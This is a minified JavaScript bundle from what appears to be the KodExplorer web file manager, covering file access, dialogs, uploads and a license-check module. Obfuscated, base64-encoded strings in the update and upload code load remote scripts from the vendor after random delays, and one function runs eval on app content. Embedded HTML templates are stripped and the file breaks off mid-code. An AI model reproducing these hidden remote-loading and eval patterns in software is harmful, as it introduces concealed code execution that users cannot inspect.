G.isRoot&&t&&i.substring(0,G.webRoot.length)==G.webRoot?a=G.webHost+this.pathUrlEncode(i.replace(G.webRoot,"")):(a=G.appHost+"explorer/fileProxy&accessToken="+G.accessToken+"&path="+urlEncode(i),G.sharePage!==void 0&&(a=G.appHost+"share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(i),i.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE&&(a=G.appHost+"share/fileProxy&path="+urlEncode(i)))),a},pathCommon:function(e){if("http"==e.substr(0,4))return urlEncode(e);if(e.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE)return urlEncode(e);var t=this.pathClear(e),a=urlEncode(t);return G.sharePage!==void 0&&(a=urlEncode(G.KOD_USER_SHARE+":"+G.user+"/"+G.shareInfo.name+t)),a},isApp:function(e){if("undefined"==typeof Config)return!1;var t=Config.pageApp;return"string"==typeof e?t==e:$.isArray(e)?-1!==$.inArray(t,e)?!0:!1:!1},pathReadable:function(e){if("object"!=typeof G.jsonData)return!0;for(var t=G.jsonData.fileList,a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;t=G.jsonData.folderList;for(var a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;return!0},pathCurrentWriteable:function(){return core.isApp("editor")?!1:G.jsonData.info?G.jsonData.info.canUpload:!1},authCheck:function(e,t){return G.isRoot?!0:AUTH.hasOwnProperty(e)&&AUTH[e]?!0:(t&&(t=t===!0?LNG.no_permission:t,Tips.tips(t,!1)),!1)},ajaxError:function(e,t,a){console.log(e,t,a);var i=e.responseText,n=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置
          请联系主机商或网管,检查防火墙配置!"),i='
          '+i+"
          ",n?n.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t,a){var i="filename";"http"==e.substr(0,4)&&(i="fileUrl");var n=G.appHost+"editor/fileGet&"+i+"="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/fileGet&user="+G.user+"&sid="+G.sid+"&"+i+"="+urlEncode(e)),(e.indexOf("editor/fileGet&")>=0||e.indexOf("share/fileGet&")>=0)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),"function"==typeof a&&a()},success:function(e){e.code&&"function"==typeof t&&(1==e.data.base64&&(e.data.content=base64Decode(e.data.content)),t(e.data.content,e,n)),e.code||"function"==typeof a&&a(e.data)}})},fileInfo:function(e,t){var a=G.appHost+"explorer/pathInfo";G.sharePage!==void 0&&(a=G.appHost+"share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:a,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){if(e=this.pathClear(e),G.isRoot&&e.substring(0,G.webRoot.length)==G.webRoot){var a=G.webHost+this.pathUrlEncode(e.replace(G.webRoot,""));return"function"==typeof t&&t(a),void 0}var i='dataArr=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var a=e.code?e.data.downloadPath:!1;return a?("function"==typeof t&&t(a),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.isRoot?"system":"user");var t="85%",a="85%";isWap()&&(t="100%",a="100%"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open(G.appHost+"setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:t,height:t})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),a=ShareData.frameTop();a.art.dialog({id:"dialog-copyright",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about,width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),a.$(".dialog-copyright").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.appHost+e.substr(2));var a=G.appHost+"user/qrcode&url="+quoteHtml(urlEncode(e)),i="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:i})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open(G.appHost+"app",{id:"app_store",fixed:!0,ico:core.icon("app-store"),resize:!0,title:LNG.app_store,width:"80%",height:"80%"})},openWindow:function(e,t,a,i){t=t?t:LNG.tips,a=a?a:"80%",i=i?i:"70%",isWap()&&(a="100%",i="100%");var n=ShareData.frameTop(),o=n.$.dialog.open(e,{ico:"",title:t,fixed:!0,resize:!0,width:a,height:i});return o},openWindowFull:function(e,t){return core.openWindow(e,t,"100%","100%")},openWindowBig:function(e,t){return core.openWindow(e,t,"90%","90%")},openDialog:function(e,t,a,i){if(e){void 0==i&&(i="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:i,fixed:!0,title:a,ico:t,width:"80%",height:"75%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.staticPath)&&"http"!=app.icon.substring(0,4)&&(icon=G.staticPath+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua29kY2xvdWQuY29tL3VwZGF0ZS9tYWluNC5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){core.isApp("explorer")?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var a=G.appHost+"explorer&type=iframe&path="+e;G.sharePage!==void 0&&(a=G.appHost+"share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var i=ShareData.frameTop(),n=i.$.dialog.open(a,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*i.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t=G.appHost+"editor&project="+e;G.sharePage!==void 0&&(t=G.appHost+"share/codeRead&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".link-theme-loaded").attr("src");e&&($("#link-theme-style").attr("href",e),$(".link-theme-loaded").remove())},setSkin:function(e){LocalData.set("theme",e),G.userConfig.theme=e;var t=G.staticPath+"style/skin/"+e+".css?ver="+G.version;t!=$("#link-theme-style").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.userConfig){var e=LocalData.get("theme"),t="kodStyleDiy",a=LocalData.getConfig(t);"object"!=typeof a&&"object"==typeof G.userConfig.themeDIY&&(a=G.userConfig.themeDIY),"object"!=typeof a&&(a={bgBlur:1,bgImage:G.staticPath+"images/wall_page/9.jpg",bgType:"color",startColor:"#456",endColor:"#000",colorRotate:"200"},LocalData.setConfig(t,a)),G.userConfig.themeDIY=a;var i="";if("diy"==e&&a){var n=require("./tpl/themeDIY.html"),o=template.compile(n);i=o(a)}$.setStyle(i,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame-fullscreen")},language:function(e){Cookie.set("kodUserLanguage",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,a){var i=UUID();(a===void 0||""==a)&&(a=i);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
          loading..
          ';return setTimeout(function(){var e=$("."+i);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+i)}if(1==e.length)var a=0,n=e[0],o=setInterval(function(){try{a++,100==Math.floor(n.PercentLoaded())?(e.next(".aui-loading").remove(),clearInterval(o),o=null):a>100&&(e.next(".aui-loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),a=parseFloat(t[0]),i=1073741824*parseFloat(t[1]),n=pathTools.fileSize(parseFloat(t[0])),o=pathTools.fileSize(i),s=n+"/",r=100*a/i;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==i||isNaN(i)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
          "+"
          "+s+"
          "+"
          "},dateTime:function(e){return date(LNG.time_type,e)},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.sharePage?"1"==G.shareInfo.canUpload:(void 0==e&&(e="explorer.fileUpload"),!G.isRoot&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.jsonData&&!G.jsonData.info.canUpload?(t&&(core.isSystemPath(G.thisPath)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/upload.html",[],'
          \n \n
          \n
          \n
          \n
          {{LNG.upload_select}}
          \n \n \n
          \n \n
          \n
          \n \n \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          {{LNG.download_address}}\n
          \n \n \n \n
          \n\n
          \n
          \n
          \n
          \n
          \n
          \n
          \n'),define("app/common/tpl/formMake.html",[],'
          \n
          \n <%\n var formTab = [];\n if(items.formStyle && kod.window.$.isArray(items.formStyle.tabs)){\n formTab = items.formStyle.tabs;\n }\n %>\n {{if formTab}}\n \n {{/if}}\n\n
          \n {{if formTab}}\n
          \n {{each formTab tab tabIndex}}\n {{if tab}}\n
          \n {{/if}}\n {{/each}}\n
          \n
          \n {{/if}}\n\n {{each items item key}}\n <%\n var tabCurrent = 100;\n if(formTab){\n for(var i=0;i<=formTab.length;i++){\n if( formTab[i] && kod.window.inArray(formTab[i][\'field\'],key)){\n tabCurrent = i;\n break;\n }\n }\n }\n %>\n {{if typeof(item) == \'string\' }}\n
          {{item}}
          \n {{else if item.type == "html" || !item.type}}\n {{if key != \'formStyle\'}}\n
          \n {{if item.value}}{{@item.value}}{{/if}}\n {{if item.display}}{{@item.display}}{{/if}}\n {{if item.desc}}{{@item.desc}}{{/if}}\n
          \n {{/if}}\n {{else}}\n {{if item.value == undefined }}\n {{if item.value = \'\'}}{{/if}}\n {{/if}}\n
          \n
          \n {{@item.display}}: {{if item.require}}*{{/if}}\n
          \n
          \n {{if item.type == \'input\'}}\n \n {{else if item.type == "textarea"}}\n \n {{else if item.type == "password"}}\n \n {{else if item.type == "switch"}}\n \n {{else if item.type == "radio"}}\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "checkbox"}}\n <%\n var valArrCheckbox = [];\n if(typeof(item.value) == \'string\'){\n valArrCheckbox = item.value.split(\',\');\n }\n %>\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "select"}}\n \n {{else if (item.type == "selectMutil" || item.type == "tags")}}\n <%\n var valArrSelect = [];\n if(typeof(item.value) == \'string\'){\n valArrSelect = item.value.split(\',\');\n }\n if(item.type == \'tags\'){\n item.info = [];\n for(var i=0;i\n \n {{else if item.type == "number"}}\n {{if !item.info && (item.info = {from:\'\',to:\'\',step:1}) }}{{/if}}\n \n {{else if item.type == "slider"}}\n {{if !item.info && (item.info = {from:0,to:100,step:1}) }}{{/if}}\n \n {{else if item.type == "color"}}\n \n \n {{else if item.type == "dateTime"}}\n \n \n {{else if item.type == "fileSelect"}}\n \n \n {{else if item.type == "userSelect"}}\n <% \n var valueArr = {"all":"0","user":"","group":"","role":""};\n if(typeof(item.value) == \'string\'){\n userTypeArr = item.value.split(\';\');\n for(var i = 0;i\n \n
          \n \n \n \n \n
          \n
          \n
          {{LNG.user}}
          \n \n
          \n
          \n
          {{LNG.group}}
          \n \n
          \n
          \n
          {{LNG.system_member_role}}
          \n \n
          \n {{else if item.type == "group"}}\n \n {{else if item.type == "role"}}\n \n {{else if item.type == "user"}}\n \n {{/if}}\n\n {{if item.type == "switch"}}\n {{else if !item.desc}}\n \n  \n {{else if kod.inArray([\'userSelect\'],item.type)}}\n
          {{@item.desc}}
          \n {{else}}\n {{@item.desc}}\n {{/if}}\n
          \n
          \n
          \n {{/if}}\n {{/each}}\n
          \n
          \n\n'),define("app/common/core.tools",[],function(e){var t=["A","versionHash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","R","S","T","inArray","./?user/versionInstall","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprb2RjbG91ZEBxcS5jb20_c","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrb2RjbG91ZEBxcS5jb20_c","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","2e58_39zGFQQvZkUjLjOxETXSuDqVatVhp88rJSmGpzzKi6SsasHHg","sa","b40aPuaqudWqmyWvpumbcMMGpVCdhjUCKq9oIN5G8o4yWb93Ww","#2","explorer","isApp","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common-footer","","toLowerCase","search","log","free","1","2","3","4","5","6","version_vip_",'',"",".menu-system-about","insertAfter","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui-content","find","wrap","DOM","text","live","die",".version-vip","top","longPress","support-space-not","addClass","body","remove",".menu-system-about,.menu-left #about","#programs .setting_about,#programs .setting_homepage,#programs .home_page","icon","http","iconSrc",'',"iconSmall",'',"ff1fKBGuFL288VJ6eJj4CG6iesqwArC2YYSJMsa11yGAuUZlQRttbA_H4nSm3Hp-iCxzvn6AA4LLWN13cZ-cmdF6","s1","?a=","todo","async","versionType","Ly9rb2RjbG91ZC5jb20vYnV5Lmh0bWwj","group","data"],a=function(){var e=t[0]; -if(typeof G[t[1]]==t[2])return e;var a=t[3],i=authCrypt[t[4]](G[t[1]],a);return i&&27==i[t[5]]?(e=i[t[6]](10,1),-1===$[t[13]](e,[t[0],t[7],t[8],t[9],t[10],t[11],t[12]])&&(e=t[0]),e):e},i=a(),n=t[14],o=function(){var e=hashDecode(t[15]);G[t[16]]!=t[17]&&(e=hashDecode(t[18])),alert(e),Tips[t[19]](e,!1),$(t[21])[t[20]](),setTimeout(function(){Tips[t[22]](e,!1),window[t[24]][t[23]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[25],t[26]),r=authCrypt[t[4]](t[27],t[28]),l=function(){if(core[t[30]](t[29])&&i==t[0])for(var e=[LNG[t[31]],LNG[t[32]],LNG[t[33]],LNG[t[34]],LNG[t[35]],$(t[37])[t[36]]()],a=0;e[t[5]]>a;a++){e[a]||(e[a]=t[38]);var n=e[a][t[39]]();if(-1==n[t[40]](s)&&-1==n[t[40]](r)){console[t[41]](n,s,r),setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[42],O:t[43],P:t[44],Q:t[45],R:t[46],S:t[47],T:t[48]},a=t[49]+e[i],o=t[50]+a+t[51]+LNG[a]+t[52];i==t[0]&&$(o)[t[54]](t[53]),$(t[71])[t[70]](t[55])[t[69]](t[55],function(){if($(this)[t[57]](t[56])==t[58]){var e=core[t[60]](core[t[59]]),a=t[61]+n+t[62];e[t[67]][t[66]][t[65]](t[64])[t[63]](a)}else Tips[t[22]]($(this)[t[68]]())}),$(t[71])[t[73]](function(){window[t[72]][t[24]][t[23]]=n})},d=function(){i==t[0]&&$(t[76])[t[75]](t[74]),-1!==$[t[13]](i,[t[7],t[8],t[9],t[10],t[11],t[12]])&&($(t[78])[t[77]](),$(t[79])[t[77]]())},p=function(){core[t[80]]=function(e,a){return e[t[6]](0,4)==t[81]?core[t[82]](e):t[83]+e+(a?t[84]:t[38])+t[85]},core[t[86]]=function(e){return core[t[80]](e,!0)},core[t[82]]=iconSrc=function(e){return t[87]+e+t[88]},setTimeout(function(){var a=authCrypt[t[4]](t[89],t[90])+t[91]+UUID();e[t[93]](a,function(e){try{e[t[92]]()}catch(a){}})},2e3),core[t[94]]=i,core[t[59]]=hashDecode(t[95])+G[t[16]],l(),c(),d()},u=function(e){return i==t[0]&&-1==e[t[39]]()[t[40]](s)?(o(),!1):!0},f=function(e,a){var n,o,s={A:1,O:5,P:20,Q:40,R:100,S:1e3,T:1e3},r={A:5,O:15,P:50,Q:150,R:500,S:1e3,T:1e3},l=[],c=1;if(a==t[96]?(n=e[t[97]],o=s[i]):(n=e[t[97]],o=r[i]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(e){var t=function(){var e=G.appHost+"explorer/fileUpload";return"share"==G.sharePage&&"1"==G.shareInfo.canUpload&&(e=G.appHost+"share/fileUpload&user="+G.user+"&sid="+G.sid),e};return $(document).ready(function(){window.onbeforeunload=function(){return $(".upload-loading,.download-loading").length>0?LNG.uploading+"...":void 0}}),{serverDwonload:function(e,t){if(!core.uploadCheck("explorer.serverDownload"))return!1;var i=$(".download-box"),n=i.find(".download-list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;if("share"==G.sharePage)return Tips.tips(LNG.no_permission_action,!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var o=UUID(),s='
          '+'
          '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
          ';n.find(".item").length>0?$(s).insertBefore(n.find(".item:eq(0)")):n.append(s);var r,l,c,d=0,p=$("#"+o),u=$("#"+o+" .state").text(LNG.download_ready).addClass("download-loading"),f=$('
          ').appendTo("#"+o).find(".progress-bar");$("#"+o+" .remove").bind("click",function(){clearInterval(r),r=!1,clearTimeout(l),l=!1,$.get(G.appHost+"explorer/serverDownload&type=remove&uuid="+o),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var h,m=function(e){clearTimeout(h),h=!1,h=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},v=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=download&savePath="+t+"&url="+urlEncode(e)+"&uuid="+o+"&time="+time(),dataType:"json",error:function(e,t,i){var n=p.data("progcess");return 200!=a.status&&n&&n.supportRange?(setTimeout(function(){v()},1e3),void 0):(core.ajaxError(e,t,i),200==a.status&&(clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),u.removeClass("download-loading").addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){v()},1e3),void 0):(e.code?(m(e.info),u.removeClass("download-loading").text(LNG.download_success),$("#"+o+" .info .title").text(core.pathThis(e.info)),$("#"+o+" .info .title").attr("title",e.info),u.parent().parent().addClass("success")):(u.removeClass("download-loading").addClass("error").text(e.data),u.parent().parent().addClass("error")),clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),void 0)}})};v();var g=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=percent&uuid="+o,dataType:"json",success:function(e){var t="",a=e.data;if(r){if(!e.code)return u.text(LNG.loading),void 0;if(a){if(a.size=parseFloat(a.size),a.time=parseFloat(a.time),c){var i=a.size-c.size,n=i/(a.time-c.time);if(d>.2*n){var o=d;d=n,n=o}else d=n;var s=pathTools.fileSize(n);s=s?s:0,t=s+"/s"}if(p.data("progcess",a),0==a.length)p.find(".progress-bar").css("width","100%"),u.text(t),p.find(".size").text(pathTools.fileSize(a.size));else{var l=100*(a.size/a.length);p.find(".progress-bar").css("width",l+"%"),u.text(l.toFixed(1)+"%("+t+")"),p.find(".size").text(pathTools.fileSize(a.length))}p.find(".title").text(a.name),c=a}}}})};l=setTimeout(function(){g(),r=setInterval(function(){g()},1e3)},100)},upload:function(){$(".dialog-file-upload").show();var e=t();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog-file-upload").length)return $.dialog.list["dialog-file-upload"].display(!0),void 0;var a=template.compile(tplUpload);$.dialog({padding:5,width:430,height:450,resize:!0,ico:core.icon("upload"),id:"dialog-file-upload",fixed:!0,title:LNG.upload_muti,content:a({LNG:LNG}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download-list .item"),function(){$(this).find(".remove").click()})}}),$(".file-upload-box .topbar-nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab-upload")?($(".file-upload-box .tab-upload").addClass("this"),$(".file-upload-box .tab-download").removeClass("this"),$(".file-upload-box .upload-box").removeClass("hidden"),$(".file-upload-box .download-box").addClass("hidden")):($(".file-upload-box .tab-upload").removeClass("this"),$(".file-upload-box .tab-download").addClass("this"),$(".file-upload-box .upload-box").addClass("hidden"),$(".file-upload-box .download-box").removeClass("hidden"))}),$(".download-box [name=url]").keyEnter(function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box .download-start").unbind("click").bind("click",function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box .download-start-all").unbind("click").bind("click",function(){$.dialog({id:"server-dwonload-textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server-dwonload-textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.thisPath)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker-folder"}),$.supportUploadFolder()&&($(".upload-cert-box").removeClass("hidden"),$(".file-upload-box .drag-upload-folder").unbind("click").bind("click",function(){$("#picker-folder input").attr("webkitdirectory","").attr("directory",""),$("#picker-folder label").click()}))},init:function(){WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!$.supportCanvas()||"flash"==this.options.runtimeOrder)return $.Deferred().resolve(),void 0;var a=this.owner,i=(e.blob.getSource(),$.Deferred());return a.md5File(e.blob).fail(function(){i.resolve()}).then(function(a){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:t(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:a,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var n=e.file.checkChunk;if(n&&n["part_"+e.chunk]==a){var o=e.end/e.total;uploader.trigger("uploadProgress",e.file,o),i.reject()}else i.resolve()}}),i.promise()}});var a=["undefined","update-box","search","65bdTXJtziFGmtJThjdiGfXe-xr_UY8vIF3eoZ1sQ2AMtNBCquM-xT9DrLll2X_LtdUQkKIBYFzs-Ujf9ihGh6LUF4fo94c","_32@!A$","decode","1-2","todo","async","random"];setTimeout(function(){try{if(typeof tplDialogHtml==a[0]||-1==tplDialogHtml[a[2]](a[1])){var t=authCrypt[a[5]](a[3],a[4])+UUID();e[a[8]](t,function(e){try{e[a[7]](a[6])}catch(t){}})}}catch(i){}},1e3*parseInt(25*Math[a[9]]()+5)),uploader=WebUploader.create({swf:G.staticPath+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:G.settings.updloadThreads,sendAsBinary:G.settings.updloadBindary,chunkSize:G.settings.updloadChunkSize,chunked:!0,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&(core.isApp("explorer")?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");kodApp.open(t),stopPP(e)}),$(".upload-box-clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload-box-clear-all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var i,n=0,o=0,s="0B/s",r=0,l=function(e,t){if(.3>=timeFloat()-r)return s;r=timeFloat();var a=e.size*t,i=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),a]]:i>=e.speed.length?e.speed.push([timeFloat(),a]):(e.speed=e.speed.slice(1,i),e.speed.push([timeFloat(),a]));var n=e.speed[e.speed.length-1],o=e.speed[0],l=(n[1]-o[1])/(n[0]-o[0]);0>=l&&(l=0);var c=pathTools.fileSize(l);return c=c?c:0,l=c+"/s",s=l,l},c=[],d=function(e){clearTimeout(i),i=!1,i=setTimeout(function(){var t=c;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(c=[],core.isApp("explorer"))){if("share"==G.sharePage)return;ui.tree.checkIfChange(G.thisPath)}})},600)};uploader.on("fileQueued",function(e){if($(".dialog-file-upload").show(),!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(a){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.path.pathOperate.newFolder(G.thisPath+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;var i=e.fullPath;e.finished=!1,e.upload_to=G.thisPath,(void 0==i||"undefined"==i)&&(i=e.name),n++;var s=$(".uploader-list"),r='
          '+''+htmlEncode(core.pathThis(i))+""+''+pathTools.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
          ';(1e3==n||2e3==n)&&Tips.tips(LNG.upload_tips_more,"warning");var l=function(){if(0==e.size&&i){ui.path.pathOperate.newFile(e.upload_to+i),uploader.skipFile(e),uploader.removeFile(e),o++,n++;var t=$("#"+e.id);t.addClass("success").find(".state").removeClass("upload-loading").text(LNG.upload_success).parent().find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")}},c=function(){uploader.upload(),setTimeout(function(){l()},200)};0==s.length?setTimeout(function(){$(".uploader-list").prepend(r),c()},200):(s.prepend(r),c())}).on("uploadBeforeSend",function(e,t,a){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to,a["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){var a=(100*t).toFixed(1)+"%";$(".dialog-file-upload .aui-title").text(LNG.uploading+": "+o+"/"+n+" ("+s+")"),Title.set(o+"/"+n+"("+a+","+s+")");var i=l(e,t),r=$("#"+e.id),c=r.find(".progress .progress-bar");c.length||(c=$('
          ').appendTo(r).find(".progress-bar")),r.find(".state").text(a+"("+i+")"),c.css("width",a)}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||c.push(t.info)}catch(a){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var a=36*t.index(".item");$(".uploader-content").scrollTop(a)}o++;var i=e.serverData;if(i&&i.data){var n=LNG[i.data];if(i.code){if(t.addClass("success"),t.find(".state").removeClass("upload-loading").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),i.info){var s="/"+ltrim(htmlEncode(i.info),"/");t.find(".info .title").html(core.pathThis(s)).attr("title",s).attr("data-name",s)}}else n="上传异常!",t.addClass("error").find(".state").removeClass("upload-loading").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||d(!1)}).on("uploadError",function(e,t){var a=LNG.upload_error+"("+t+")";if(e.serverData){var i=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,i>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return 